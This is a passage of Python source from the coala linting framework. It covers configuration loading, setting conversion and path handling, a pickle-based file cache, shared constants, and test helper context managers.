    >>> get_config_directory(section) == os.path.abspath(".")
    True

    If the ``files`` setting is given with an originating coafile, the directory
    of the coafile will be assumed the configuration directory:

    >>> section.append(Setting("files", "**", origin="/tmp/.coafile"))
    >>> get_config_directory(section) == os.path.abspath('/tmp/')
    True

    However if its origin is already a directory this will be preserved:

    >>> section['files'].origin = os.path.abspath('/tmp/dir/')
    >>> os.makedirs(section['files'].origin, exist_ok=True)
    >>> get_config_directory(section) == section['files'].origin
    True

    The user can manually set a project directory with the ``project_dir``
    setting:

    >>> section.append(Setting('project_dir', os.path.abspath('/tmp'), '/'))
    >>> get_config_directory(section) == os.path.abspath('/tmp')
    True

    If no section is given, the current directory is returned:

    >>> get_config_directory(None) == os.path.abspath(".")
    True

    To summarize, the config directory will be chosen by the following
    priorities if possible in that order:

    - the ``project_dir`` setting
    - the origin of the ``files`` setting, if it's a directory
    - the directory of the origin of the ``files`` setting
    - the current directory

    :param section: The section to inspect.
    :return: The directory where the project is lying.
    """
    if section is None:
        return os.getcwd()

    if 'project_dir' in section:
        return path(section.get('project_dir'))

    config = os.path.abspath(section.get('files', '').origin)
    return config if os.path.isdir(config) else os.path.dirname(config)


def get_filtered_bears(languages, log_printer):
    """
    Fetch bears and filter them based on given list of languages.

    :param languages:   List of languages.
    :param log_printer: The log_printer to handle logging.
    :return:            Tuple containing dictionaries of local bears
                        and global bears.
    """
    sections, _ = load_configuration(arg_list=None,
                                     log_printer=log_printer)
    local_bears, global_bears = collect_all_bears_from_sections(
        sections, log_printer)
    if languages:
        local_bears = filter_section_bears_by_languages(
            local_bears, languages)
        global_bears = filter_section_bears_by_languages(
            global_bears, languages)
    return local_bears, global_bears


def gather_configuration(acquire_settings,
                         log_printer,
                         autoapply=None,
                         arg_list=None,
                         arg_parser=None):
    """
    Loads all configuration files, retrieves bears and all needed
    settings, saves back if needed and warns about non-existent targets.

    This function:

    -  Reads and merges all settings in sections from

       -  Default config
       -  User config
       -  Configuration file
       -  CLI

    -  Collects all the bears
    -  Fills up all needed settings
    -  Writes back the new sections to the configuration file if needed
    -  Gives all information back to caller

    :param acquire_settings: The method to use for requesting settings. It will
                             get a parameter which is a dictionary with the
                             settings name as key and a list containing a
                             description in [0] and the names of the bears
                             who need this setting in all following indexes.
    :param log_printer:      The log printer to use for logging. The log level
                             will be adjusted to the one given by the section.
    :param autoapply:        Set whether to autoapply patches. This is
                             overridable via any configuration file/CLI.
    :param arg_list:         CLI args to use
    :return:                 A tuple with the following contents:

                             -  A dictionary with the sections
                             -  Dictionary of list of local bears for each
                                section
                             -  Dictionary of list of global bears for each
                                section
                             -  The targets list
    """
    # Note: arg_list can also be []. Hence we cannot use
    # `arg_list = arg_list or default_list`
    arg_list = sys.argv[1:] if arg_list is None else arg_list
    sections, targets = load_configuration(arg_list, log_printer, arg_parser)
    local_bears, global_bears = fill_settings(sections,
                                              acquire_settings,
                                              log_printer)
    save_sections(sections)
    warn_nonexistent_targets(targets, sections, log_printer)

    if autoapply is not None:
        if not autoapply and 'autoapply' not in sections['default']:
            sections['default']['autoapply'] = "False"

    return (sections,
            local_bears,
            global_bears,
            targets)












import inspect
from collections import OrderedDict

from coalib.misc.Enum import enum


class DocstringMetadata:
    _ParseMode = enum("DESCRIPTION", "PARAM", "RETVAL")

    def __init__(self, desc, param_dict, retval_desc):
        """
        Represents a docstring of a python class or function.

        :param desc:        A description as string.
        :param param_dict:  A dictionary containing parameter names as key and
                            their description as value. To preserve the order,
                            use OrderedDict.
        :param retval_desc: A string describing the return value.
        """
        self.desc = desc
        self.param_dict = param_dict
        self.retval_desc = retval_desc

    @classmethod
    def from_docstring(cls, docstring):
        """
        Parses a python docstring. Usable attributes are:
        :param
        @param
        :return
        @return
        """
        lines = inspect.cleandoc(docstring).split("\n")

        parse_mode = cls._ParseMode.DESCRIPTION
        cur_param = ""

        desc = ""
        param_dict = OrderedDict()
        retval_desc = ""
        for line in lines:
            line = line.strip()

            if line.startswith(":param ") or line.startswith("@param "):
                parse_mode = cls._ParseMode.PARAM
                splitted = line[7:].split(":", 1)
                cur_param = splitted[0]
                param_dict[cur_param] = splitted[1].strip()

                continue

            if line.startswith(":return: ") or line.startswith("@return: "):
                parse_mode = cls._ParseMode.RETVAL
                retval_desc = line[9:].strip()

                continue

            def concat_doc_parts(old: str, new: str):
                if new != '' and not old.endswith('\n'):
                    return old + ' ' + new

                return old + (new if new != '' else '\n')

            if parse_mode == cls._ParseMode.RETVAL:
                retval_desc = concat_doc_parts(retval_desc, line)
            elif parse_mode == cls._ParseMode.PARAM:
                param_dict[cur_param] = concat_doc_parts(param_dict[cur_param],
                                                         line)
            else:
                desc = concat_doc_parts(desc, line)

        return (cls(desc=desc.strip(),
                    param_dict=param_dict,
                    retval_desc=retval_desc.strip()))

    def __str__(self):
        return str(self.desc)






import copy

from coalib.bears.BEAR_KIND import BEAR_KIND
from coalib.collecting.Collectors import collect_bears
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.settings.Setting import Setting


def fill_settings(sections, acquire_settings, log_printer):
    """
    Retrieves all bears and requests missing settings via the given
    acquire_settings method.

    :param sections:         The sections to fill up, modified in place.
    :param acquire_settings: The method to use for requesting settings. It will
                             get a parameter which is a dictionary with the
                             settings name as key and a list containing a
                             description in [0] and the names of the bears
                             who need this setting in all following indexes.
    :param log_printer:      The log printer to use for logging.
    :return:                 A tuple containing (local_bears, global_bears),
                             each of them being a dictionary with the section
                             name as key and as value the bears as a list.
    """
    local_bears = {}
    global_bears = {}

    for section_name, section in sections.items():
        bear_dirs = section.bear_dirs()
        bears = list(section.get("bears", ""))
        section_local_bears, section_global_bears = collect_bears(
            bear_dirs,
            bears,
            [BEAR_KIND.LOCAL, BEAR_KIND.GLOBAL],
            log_printer)
        all_bears = copy.deepcopy(section_local_bears)
        all_bears.extend(section_global_bears)
        fill_section(section, acquire_settings, log_printer, all_bears)

        local_bears[section_name] = section_local_bears
        global_bears[section_name] = section_global_bears

    return local_bears, global_bears


def fill_section(section, acquire_settings, log_printer, bears):
    """
    Retrieves needed settings from given bears and asks the user for
    missing values.

    If a setting is requested by several bears, the help text from the
    latest bear will be taken.

    :param section:          A section containing available settings. Settings
                             will be added if some are missing.
    :param acquire_settings: The method to use for requesting settings. It will
                             get a parameter which is a dictionary with the
                             settings name as key and a list containing a
                             description in [0] and the names of the bears
                             who need this setting in all following indexes.
    :param log_printer:      The log printer for logging.
    :param bears:            All bear classes or instances.
    :return:                 The new section.
    """
    # Retrieve needed settings.
    prel_needed_settings = {}
    for bear in bears:
        needed = bear.get_non_optional_settings()
        for key in needed:
            if key in prel_needed_settings:
                prel_needed_settings[key].append(bear.name)
            else:
                prel_needed_settings[key] = [needed[key][0],
                                             bear.name]

    # Strip away existent settings.
    needed_settings = {}
    for setting, help_text in prel_needed_settings.items():
        if not setting in section:
            needed_settings[setting] = help_text

    # Get missing ones.
    if len(needed_settings) > 0:
        new_vals = acquire_settings(log_printer, needed_settings)
        for setting, help_text in new_vals.items():
            section.append(Setting(setting, help_text))

    return section






import os
from collections import OrderedDict

from coala_utils.decorators import generate_repr
from coala_utils.string_processing.StringConverter import StringConverter
from coalib.parsing.Globbing import glob_escape


def path(obj, *args, **kwargs):
    return obj.__path__(*args, **kwargs)


def path_list(obj, *args, **kwargs):
    return obj.__path_list__(*args, **kwargs)


def url(obj, *args, **kwargs):
    return obj.__url__(*args, **kwargs)


def glob(obj, *args, **kwargs):
    """
    Creates a path in which all special glob characters in all the
    parent directories in the given setting are properly escaped.

    :param obj: The ``Setting`` object from which the key is obtained.
    :return:    Returns a path in which special glob characters are escaped.
    """
    return obj.__glob__(*args, **kwargs)


def glob_list(obj, *args, **kwargs):
    """
    Creates a list of paths in which all special glob characters in all the
    parent directories of all paths in the given setting are properly escaped.

    :param obj: The ``Setting`` object from which the key is obtained.
    :return:    Returns a list of paths in which special glob characters are
                escaped.
    """
    return obj.__glob_list__(*args, **kwargs)


def typed_list(conversion_func):
    """
    Creates a function that converts a setting into a list of elements each
    converted with the given conversion function.

    :param conversion_func: The conversion function that converts a string into
                            your desired list item object.
    :return:                A conversion function.
    """
    return lambda setting: [
        conversion_func(StringConverter(elem)) for elem in setting]


def typed_dict(key_type, value_type, default):
    """
    Creates a function that converts a setting into a dict with the given
    types.

    :param key_type:   The type conversion function for the keys.
    :param value_type: The type conversion function for the values.
    :param default:    The default value to use if no one is given by the user.
    :return:           A conversion function.
    """
    return lambda setting: {
        key_type(StringConverter(key)):
        value_type(StringConverter(value)) if value != "" else default
        for key, value in dict(setting).items()}


def typed_ordered_dict(key_type, value_type, default):
    """
    Creates a function that converts a setting into an ordered dict with the
    given types.

    :param key_type:   The type conversion function for the keys.
    :param value_type: The type conversion function for the values.
    :param default:    The default value to use if no one is given by the user.
    :return:           A conversion function.
    """
    return lambda setting: OrderedDict(
        (key_type(StringConverter(key)),
         value_type(StringConverter(value)) if value != "" else default)
        for key, value in OrderedDict(setting).items())


@generate_repr("key", "value", "origin", "from_cli")
class Setting(StringConverter):
    """
    A Setting consists mainly of a key and a value. It mainly offers many
    conversions into common data types.
    """

    def __init__(self,
                 key,
                 value,
                 origin="",
                 strip_whitespaces=True,
                 list_delimiters=(",", ";"),
                 from_cli=False,
                 remove_empty_iter_elements=True):
        """
        Initializes a new Setting,

        :param key:                        The key of the Setting.
        :param value:                      The value, if you apply conversions
                                           to this object these will be applied
                                           to this value.
        :param origin:                     The originating file. This will be
                                           used for path conversions and the
                                           last part will be stripped of. If
                                           you want to specify a directory as
                                           origin be sure to end it with a
                                           directory separator.
        :param strip_whitespaces:          Whether to strip whitespaces from
                                           the value or not
        :param list_delimiters:            Delimiters for list conversion
        :param from_cli:                   True if this setting was read by the
                                           CliParser.
        :param remove_empty_iter_elements: Whether to remove empty elements in
                                           iterable values.
        """
        if not isinstance(from_cli, bool):
            raise TypeError("from_cli needs to be a boolean value.")

        StringConverter.__init__(
            self,
            value,
            strip_whitespaces=strip_whitespaces,
            list_delimiters=list_delimiters,
            remove_empty_iter_elements=remove_empty_iter_elements)

        self.from_cli = from_cli
        self.key = key
        self.origin = str(origin)

    def __path__(self, origin=None, glob_escape_origin=False):
        """
        Determines the path of this setting.

        Note: You can also use this function on strings, in that case the
        origin argument will be taken in every case.

        :param origin:             The origin file to take if no origin is
                                   specified for the given setting. If you
                                   want to provide a directory, make sure it
                                   ends with a directory separator.
        :param glob_escape_origin: When this is set to true, the origin of
                                   this setting will be escaped with
                                   ``glob_escape``.
        :return:                   An absolute path.
        :raises ValueError:        If no origin is specified in the setting
                                   nor the given origin parameter.
        """
        strrep = str(self).strip()
        if os.path.isabs(strrep):
            return strrep

        if hasattr(self, "origin") and self.origin != "":
            origin = self.origin

        if origin is None:
            raise ValueError("Cannot determine path without origin.")

        # We need to get full path before escaping since the full path
        # may introduce unintended glob characters
        origin = os.path.abspath(os.path.dirname(origin))

        if glob_escape_origin:
            origin = glob_escape(origin)

        return os.path.normpath(os.path.join(origin, strrep))

    def __glob__(self, origin=None):
        """
        Determines the path of this setting with proper escaping of its
        parent directories.

        :param origin:      The origin file to take if no origin is specified
                            for the given setting. If you want to provide a
                            directory, make sure it ends with a directory
                            separator.
        :return:            An absolute path in which the parent directories
                            are escaped.
        :raises ValueError: If no origin is specified in the setting nor the
                            given origin parameter.
        """
        return Setting.__path__(self, origin, glob_escape_origin=True)

    def __path_list__(self):
        """
        Splits the value into a list and creates a path out of each item taking
        the origin of the setting into account.

        :return: A list of absolute paths.
        """
        return [Setting.__path__(elem, self.origin) for elem in self]

    def __glob_list__(self):
        """
        Splits the value into a list and creates a path out of each item in
        which the special glob characters in origin are escaped.

        :return: A list of absolute paths in which the special characters in
                 the parent directories of the setting are escaped.
        """
        return [Setting.__glob__(elem, self.origin) for elem in self]

    @property
    def key(self):
        return self._key

    @key.setter
    def key(self, key):
        newkey = str(key)
        if newkey == "":
            raise ValueError("An empty key is not allowed for a setting.")

        self._key = newkey






class MutableValue:

    def __init__(self, val=None):
        self.value = val






import time
import os

from coala_utils.decorators import enforce_signature
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.misc.CachingUtilities import (
    pickle_load, pickle_dump, delete_files)


class FileCache:
    """
    This object is a file cache that helps in collecting only the changed
    and new files since the last run. Example/Tutorial:

    >>> from pyprint.NullPrinter import NullPrinter
    >>> from coalib.output.printers.LogPrinter import LogPrinter
    >>> import copy, time
    >>> log_printer = LogPrinter(NullPrinter())

    To initialize the cache create an instance for the project:

    >>> cache = FileCache(log_printer, "test", flush_cache=True)

    Now we can track new files by running:

    >>> cache.track_files(["a.c", "b.c"])

    Since all cache operations are lazy (for performance), we need to
    explicitly write the cache to disk for persistence in future uses:
    (Note: The cache will automatically figure out the write location)

    >>> cache.write()

    Let's go into the future:

    >>> time.sleep(1)

    Let's create a new instance to simulate a separate run:

    >>> cache = FileCache(log_printer, "test", flush_cache=False)

    >>> old_data = copy.deepcopy(cache.data)

    We can mark a file as changed by doing:

    >>> cache.untrack_files({"a.c"})

    Again write to disk after calculating the new cache times for each file:

    >>> cache.write()
    >>> new_data = cache.data

    Since we marked 'a.c' as a changed file:

    >>> "a.c" not in cache.data
    True
    >>> "a.c" in old_data
    True

    Since 'b.c' was untouched after the second run, its time was updated
    to the latest value:

    >>> old_data["b.c"] < new_data["b.c"]
    True
    """

    @enforce_signature
    def __init__(
            self,
            log_printer: LogPrinter,
            project_dir: str,
            flush_cache: bool=False):
        """
        Initialize FileCache.

        :param log_printer: A LogPrinter object to use for logging.
        :param project_dir: The root directory of the project to be used
                            as a key identifier.
        :param flush_cache: Flush the cache and rebuild it.
        """
        self.log_printer = log_printer
        self.project_dir = project_dir
        self.current_time = int(time.time())

        cache_data = pickle_load(log_printer, project_dir, {})
        last_time = -1
        if "time" in cache_data:
            last_time = cache_data["time"]
        if not flush_cache and last_time > self.current_time:
            log_printer.warn("It seems like you went back in time - your "
                             "system time is behind the last recorded run "
                             "time on this project. The cache will "
                             "be force flushed.")
            flush_cache = True

        self.data = cache_data.get("files", {})
        if flush_cache:
            self.flush_cache()

    def flush_cache(self):
        """
        Flushes the cache and deletes the relevant file.
        """
        self.data = {}
        delete_files(self.log_printer, [self.project_dir])
        self.log_printer.debug("The file cache was successfully flushed.")

    def __enter__(self):
        return self

    def write(self):
        """
        Update the last run time on the project for each file
        to the current time. Using this object as a contextmanager is
        preferred (that will automatically call this method on exit).
        """
        for file_name in self.data:
            self.data[file_name] = self.current_time
        pickle_dump(
            self.log_printer,
            self.project_dir,
            {"time": self.current_time, "files": self.data})

    def __exit__(self, type, value, traceback):
        """
        Update the last run time on the project for each file
        to the current time.
        """
        self.write()

    def untrack_files(self, files):
        """
        Removes the given files from the cache so that they are no longer
        considered cached for this and the next run.

        :param files: A set of files to remove from cache.
        """
        for file in files:
            if file in self.data:
                del self.data[file]

    def track_files(self, files):
        """
        Start tracking files given in ``files`` by adding them to the
        database.

        :param files: A set of files that need to be tracked.
                      These files are initialized with their last
                      modified tag as -1.
        """
        for file in files:
            if file not in self.data:
                self.data[file] = -1

    def get_uncached_files(self, files):
        """
        Returns the set of files that are not in the cache yet or have been
        untracked.

        :param files: The list of collected files.
        :return:      A set of files that are uncached.
        """
        if self.data == {}:
            # The first run on this project. So all files are new
            # and must be returned irrespective of whether caching is turned on.
            return files
        else:
            return {file
                    for file in files
                    if (file not in self.data or
                        int(os.path.getmtime(file)) > self.data[file])}






def enum(*sequential, **named):
    enums = dict(zip(sequential, range(len(sequential))), **named)
    str_dict = enums.copy()
    enums['reverse'] = dict((value, key) for key, value in enums.items())
    enums['str_dict'] = str_dict

    return type('Enum', (), enums)






import copy
import hashlib
import os
import pickle

from coalib.misc import Constants


def get_data_path(log_printer, identifier):
    """
    Get the full path of ``identifier`` present in the user's data directory.

    :param log_printer: A LogPrinter object to use for logging.
    :param identifier:  The file whose path needs to be expanded.
    :return:            Full path of the file, assuming it's present in the
                        user's config directory.
                        Returns ``None`` if there is a ``PermissionError``
                        in creating the directory.
    """
    try:
        os.makedirs(Constants.USER_DATA_DIR, exist_ok=True)
        return os.path.join(Constants.USER_DATA_DIR, hash_id(identifier))
    except PermissionError:
        log_printer.err("Unable to create user data directory '{}'. Continuing"
                        " without caching.".format(Constants.USER_DATA_DIR))

    return None


def delete_files(log_printer, identifiers):
    """
    Delete the given identifiers from the user's coala data directory.

    :param log_printer: A LogPrinter object to use for logging.
    :param identifiers: The list of files to be deleted.
    :return:            True if all the given files were successfully deleted.
                        False otherwise.
    """
    error_files = []
    result = True
    for identifier in identifiers:
        try:
            file_path = get_data_path(log_printer, identifier)
            if os.path.isfile(file_path):
                os.remove(file_path)
            else:
                result = False
        except (OSError, TypeError) as e:
            error_files.append(hash_id(identifier))

    if len(error_files) > 0:
        error_files = ", ".join(error_files)
        log_printer.warn("There was a problem deleting the following "
                         "files: {}. Please delete them manually from "
                         "'{}'.".format(error_files, Constants.USER_DATA_DIR))
        result = False

    return result


def pickle_load(log_printer, identifier, fallback=None):
    """
    Get the data stored in ``filename`` present in the user
    config directory. Example usage:

    >>> from pyprint.NullPrinter import NullPrinter
    >>> from coalib.output.printers.LogPrinter import LogPrinter
    >>> log_printer = LogPrinter(NullPrinter())
    >>> test_data = {"answer": 42}
    >>> pickle_dump(log_printer, "test_project", test_data)
    True
    >>> pickle_load(log_printer, "test_project")
    {'answer': 42}
    >>> pickle_load(log_printer, "nonexistent_project")
    >>> pickle_load(log_printer, "nonexistent_project", fallback=42)
    42

    :param log_printer: A LogPrinter object to use for logging.
    :param identifier:  The name of the file present in the user config
                        directory.
    :param fallback:    Return value to fallback to in case the file doesn't
                        exist.
    :return:            Data that is present in the file, if the file exists.
                        Otherwise the ``default`` value is returned.
    """
    file_path = get_data_path(log_printer, identifier)
    if file_path == None or not os.path.isfile(file_path):
        return fallback
    with open(file_path, "rb") as f:
        try:
            return pickle.load(f)
        except (pickle.UnpicklingError, EOFError) as e:
            log_printer.warn("The given file is corrupted and will be "
                             "removed.")
            delete_files(log_printer, [identifier])
            return fallback


def pickle_dump(log_printer, identifier, data):
    """
    Write ``data`` into the file ``filename`` present in the user
    config directory.

    :param log_printer: A LogPrinter object to use for logging.
    :param identifier:  The name of the file present in the user config
                        directory.
    :param data:        Data to be serialized and written to the file using
                        pickle.
    :return:            True if the write was successful.
                        False if there was a permission error in writing.
    """
    file_path = get_data_path(log_printer, identifier)
    if file_path == None:
        # Exit silently since the error has been logged in ``get_data_path``
        return False
    with open(file_path, "wb") as f:
        pickle.dump(data, f)
    return True


def hash_id(text):
    """
    Hashes the given text.

    :param text: String to to be hashed
    :return:     A MD5 hash of the given string
    """
    return hashlib.md5(text.encode("utf-8")).hexdigest()


def get_settings_hash(sections, ignore_settings: list=["disable_caching"]):
    """
    Compute and return a unique hash for the settings.

    :param sections:        A dict containing the settings for each section.
    :param ignore_settings: Setting keys to remove from sections before
                            hashing.
    :return:                A MD5 hash that is unique to the settings used.
    """
    settings = []
    for section in sections:
        section_copy = copy.deepcopy(sections[section])
        for setting in ignore_settings:
            if setting in section_copy:
                section_copy.delete_setting(setting)
        settings.append(str(section_copy))

    return hash_id(str(settings))


def settings_changed(log_printer, settings_hash):
    """
    Determine if the settings have changed since the last run with caching.

    :param log_printer:   A LogPrinter object to use for logging.
    :param settings_hash: A MD5 hash that is unique to the settings used.
    :return:              Return True if the settings hash has changed
                          Return False otherwise.
    """
    project_hash = hash_id(os.getcwd())

    settings_hash_db = pickle_load(log_printer, "settings_hash_db", {})
    if project_hash not in settings_hash_db:
        # This is the first time coala is run on this project, so the cache
        # will be flushed automatically.
        return False

    result = settings_hash_db[project_hash] != settings_hash
    if result:
        del settings_hash_db[project_hash]
        log_printer.debug("Since the configuration settings have "
                          "changed since the last run, the "
                          "cache will be flushed and rebuilt.")

    return result


def update_settings_db(log_printer, settings_hash):
    """
    Update the config file last modification date.

    :param log_printer:   A LogPrinter object to use for logging.
    :param settings_hash: A MD5 hash that is unique to the settings used.
    """
    project_hash = hash_id(os.getcwd())

    settings_hash_db = pickle_load(log_printer, "settings_hash_db", {})
    settings_hash_db[project_hash] = settings_hash
    pickle_dump(log_printer, "settings_hash_db", settings_hash_db)






# -*- coding: utf-8 -*-

import appdirs
import os
import re

# Start ignoring PyImportSortBear, PyLintBear as BUS_NAME is imported as a
# constant from other files.
from coalib import BUS_NAME
from coalib import VERSION
# Stop ignoring


THIS_IS_A_BUG = ("This is a bug. We are sorry for the inconvenience. "
                 "Please contact the developers for assistance.")

CRASH_MESSAGE = ("An unknown error occurred. This is a bug. We are "
                 "sorry for the inconvenience. Please contact the "
                 "developers for assistance. During execution of "
                 "coala an exception was raised. This should never "
                 "happen. When asked for, the following information "
                 "may help investigating:")

VERSION_CONFLICT_MESSAGE = ("There is a conflict in the version of a "
                            "dependency you have installed and the "
                            "requirements of coala. This may be resolved by "
                            "creating a separate virtual environment for "
                            "coala or running `pip install %s`. Be aware "
                            "that the latter solution might break other "
                            "python packages that depend on the currently "
                            "installed version.")

OBJ_NOT_ACCESSIBLE = "{} is not accessible and will be ignored!"

TRUE_STRINGS = ['1',
                "on",
                'y',
                'yes',
                "yeah",
                "sure",
                'true',
                'definitely',
                'yup',
                "right",
                "aye",
                "positive"]

FALSE_STRINGS = ['0',
                 'off',
                 'n',
                 'no',
                 'nope',
                 'nah',
                 'false',
                 "wrong",
                 'none',
                 'nay',
                 'negative']

# This string contains many unicode characters to challenge tests.
COMPLEX_TEST_STRING = ("4 r34l ch4ll3n63: 123 ÄÖü ABc @€¥ §&% {[( ←↓→↑ "
                       "ĦŊħ ß°^ \\\n\u2192")

# Path to the coalib directory
coalib_root = os.path.join(os.path.dirname(__file__),
                           os.path.pardir)

# Path to the language definition files
language_definitions = os.path.join(coalib_root,
                                    "bearlib",
                                    "languages",
                                    "definitions")

system_coafile = os.path.join(coalib_root, "default_coafile")

user_coafile = os.path.join(os.path.expanduser("~"), ".coarc")

default_coafile = ".coafile"

USER_DATA_DIR = appdirs.user_data_dir('coala', version=VERSION)

GLOBBING_SPECIAL_CHARS = "()[]|?*"

URL_REGEX = re.compile(
    r'^(?:(?:http|ftp)[s]?://)?'  # scheme
    r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+'  # domain name
    r'(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
    r'localhost|'  # OR localhost
    r'(?:\d{1,3}\.){3}\d{1,3})'  # OR an ip
    r'(?::\d+)?'  # optional port number
    r'(?:/?|[/?]\S+)$',  # path
    re.IGNORECASE)






from collections import Iterable, OrderedDict


def inverse_dicts(*dicts):
    """
    Inverts the dicts, e.g. {1: 2, 3: 4} and {2: 3, 4: 4} will be inverted
    {2: [1], 3: [2], 4: [3, 4]}. This also handles dictionaries
    with Iterable items as values e.g. {1: [1, 2, 3], 2: [3, 4, 5]} and
    {2: [1], 3: [2], 4: [3, 4]} will be inverted to
    {1: [1, 2], 2: [1, 3], 3: [1, 2, 4], 4: [2, 4], 5: [2]}.
    No order is preserved.

    :param dicts: The dictionaries to invert.
    :return:      The inversed dictionary which merges all dictionaries into
                  one.
    """
    inverse = {}

    for dictionary in dicts:
        for key, value in dictionary.items():
            if isinstance(value, Iterable):
                for item in value:
                    add_pair_to_dict(item, key, inverse)
            else:
                add_pair_to_dict(value, key, inverse)

    return inverse


def add_pair_to_dict(key, value, dictionary):
    """
    Add (key, value) pair to the dictionary. The value is added to a list of
    values for the key.
    """
    if key in dictionary:
        dictionary[key].append(value)
    else:
        dictionary[key] = [value]


def update_ordered_dict_key(dictionary, old_key, new_key):
    return OrderedDict(((new_key if k == old_key else k), v)
                       for k, v in dictionary.items())






import builtins
import os
import platform
import signal
import sys
import tempfile
import threading
from contextlib import closing, contextmanager
from io import StringIO

from coalib.misc.MutableValue import MutableValue


@contextmanager
def subprocess_timeout(sub_process, seconds, kill_pg=False):
    """
    Kill subprocess if the sub process takes more the than the timeout.

    :param sub_process: The sub process to run.
    :param seconds:     The number of seconds to allow the test to run for. If
                        set to 0 or a negative value, it waits indefinitely.
                        Floats can be used to specify units smaller than
                        seconds.
    :param kill_pg:     Boolean whether to kill the process group or only this
                        process. (not applicable for windows)
    """
    timedout = MutableValue(False)

    if seconds <= 0:
        yield timedout
        return

    finished = threading.Event()

    if platform.system() == "Windows":  # pragma: no cover
        kill_pg = False

    def kill_it():
        finished.wait(seconds)
        if not finished.is_set():
            timedout.value = True
            if kill_pg:
                pgid = os.getpgid(sub_process.pid)
            os.kill(sub_process.pid, signal.SIGINT)
            if kill_pg:
                os.killpg(pgid, signal.SIGINT)

    thread = threading.Thread(name='timeout-killer', target=kill_it)
    try:
        thread.start()
        yield timedout
    finally:
        finished.set()
        thread.join()


@contextmanager
def replace_stdout(replacement):
    """
    Replaces stdout with the replacement, yields back to the caller and then
    reverts everything back.
    """
    _stdout = sys.stdout
    sys.stdout = replacement
    try:
        yield
    finally:
        sys.stdout = _stdout


@contextmanager
def replace_stderr(replacement):
    """
    Replaces stderr with the replacement, yields back to the caller and then
    reverts everything back.
    """
    _stderr = sys.stderr
    sys.stderr = replacement
    try:
        yield
    finally:
        sys.stderr = _stderr


@contextmanager
def suppress_stdout():
    """
    Suppresses everything going to stdout.
    """
    with open(os.devnull, "w") as devnull, replace_stdout(devnull):
        yield


@contextmanager
def retrieve_stdout():
    """
    Yields a StringIO object from which one can read everything that was
    printed to stdout. (It won't be printed to the real stdout!)

    Example usage:

    with retrieve_stdout() as stdout:
        print("something")  # Won't print to the console
        what_was_printed = stdout.getvalue()  # Save the value
    """
    with closing(StringIO()) as sio, replace_stdout(sio):
        oldprint = builtins.print
        try:
            # Overriding stdout doesn't work with libraries, this ensures even
            # cached variables take this up. Well... it works.
            def newprint(*args, **kwargs):
                kwargs['file'] = sio
                oldprint(*args, **kwargs)

            builtins.print = newprint
            yield sio
        finally:
            builtins.print = oldprint


@contextmanager
def retrieve_stderr():
    """
    Yields a StringIO object from which one can read everything that was
    printed to stderr. (It won't be printed to the real stderr!)

    Example usage:

    with retrieve_stderr() as stderr:
        print("something")  # Won't print to the console
        what_was_printed = stderr.getvalue()  # Save the value
    """
    with closing(StringIO()) as sio, replace_stderr(sio):
        oldprint = builtins.print
        try:
            # Overriding stderr doesn't work with libraries, this ensures even
            # cached variables take this up. Well... it works.
            def newprint(*args, **kwargs):
                kwargs['file'] = sio
                oldprint(*args, **kwargs)

            builtins.print = newprint
            yield sio
        finally:
            builtins.print = oldprint


@contextmanager
def simulate_console_inputs(*inputs):
    """
    Does some magic to simulate the given inputs to any calls to the ``input``
    builtin. This yields back an InputGenerator object so you can check
    which input was already used and append any additional inputs you want.
    Example:

        with simulate_console_inputs(0, 1, 2) as generator:
            assert(input() == 0)
            assert(generator.last_input == 0)
            generator.inputs.append(3)
            assert(input() == 1)
            assert(input() == 2)
            assert(input() == 3)
            assert(generator.last_input == 3)

    :param inputs:      Any inputs to simulate.
    :raises ValueError: Raised when was asked for more input but there's no
                        more provided.
    """
    class InputGenerator:

        def __init__(self, inputs):
            self.last_input = -1
            self.inputs = inputs

        def generate_input(self, prompt=''):
            print(prompt, end="")
            self.last_input += 1
            try:
                return self.inputs[self.last_input]
            except IndexError:
                raise ValueError("Asked for more input, but no more was "
                                 "provided from `simulate_console_inputs`.")

    input_generator = InputGenerator(list(inputs))
    _input = builtins.input
    builtins.input = input_generator.generate_input
    try:
        yield input_generator
    finally:
        builtins.input = _input


@contextmanager
def make_temp(suffix="", prefix="tmp", dir=None):
    """
    Creates a temporary file with a closed stream and deletes it when done.

    :return: A contextmanager retrieving the file path.
    """
    temporary = tempfile.mkstemp(suffix=suffix, prefix=prefix, dir=dir)
    os.close(temporary[0])
    try:
        yield temporary[1]
    finally:
        os.remove(temporary[1])


@contextmanager
def prepare_file(lines,
                 filename,
                 force_linebreaks=True,
                 create_tempfile=True,
                 tempfile_kwargs={}):
    """
    Can create a temporary file (if filename is None) with the lines.
    Can also add a trailing newline to each line specified if needed.

    :param lines:            The lines from the file. (list or tuple of strings)
    :param filename:         The filename to be prepared.
    :param force_linebreaks: Whether to append newlines at each line if needed.
    :param create_tempfile:  Whether to save lines in tempfile if needed.
    :param tempfile_kwargs:  Kwargs passed to tempfile.mkstemp().
    """
    if force_linebreaks:
        lines = type(lines)(line if line.endswith('\n') else line+'\n'
                            for line in lines)

    if not create_tempfile and filename is None:
        filename = "dummy_file_name"

    if not isinstance(filename, str) and create_tempfile:
        with make_temp(**tempfile_kwargs) as filename:
            with open(filename, 'w', encoding='utf-8') as file:
                file.writelines(lines)
            yield lines, filename
    else:
        yield lines, filename


@contextmanager
def change_directory(path):
    old_dir = os.getcwd()
    os.chdir(path)
    try:
        yield
    finally:
        os.chdir(old_dir)






from contextlib import contextmanager
import functools
import shlex
from subprocess import PIPE, Popen, call, DEVNULL


call_without_output = functools.partial(call, stdout=DEVNULL, stderr=DEVNULL)
"""
Uses subprocess.call to execute a command, but suppresses the output and
the errors.
"""


@contextmanager
def run_interactive_shell_command(command, **kwargs):
    """
    Runs a single command in shell and provides stdout, stderr and stdin
    streams.

    This function creates a context manager that sets up the process (using
    ``subprocess.Popen()``), returns to caller and waits for process to exit on
    leaving.

    By default the process is opened in ``universal_newlines`` mode and creates
    pipes for all streams (stdout, stderr and stdin) using ``subprocess.PIPE``
    special value. These pipes are closed automatically, so if you want to get
    the contents of the streams you should retrieve them before the context
    manager exits.

    >>> with run_interactive_shell_command(["echo", "TEXT"]) as p:
    ...     stdout = p.stdout
    ...     stdout_text = stdout.read()
    >>> stdout_text
    'TEXT\\n'
    >>> stdout.closed
    True

    Custom streams provided are not closed except of ``subprocess.PIPE``.

    >>> from tempfile import TemporaryFile
    >>> stream = TemporaryFile()
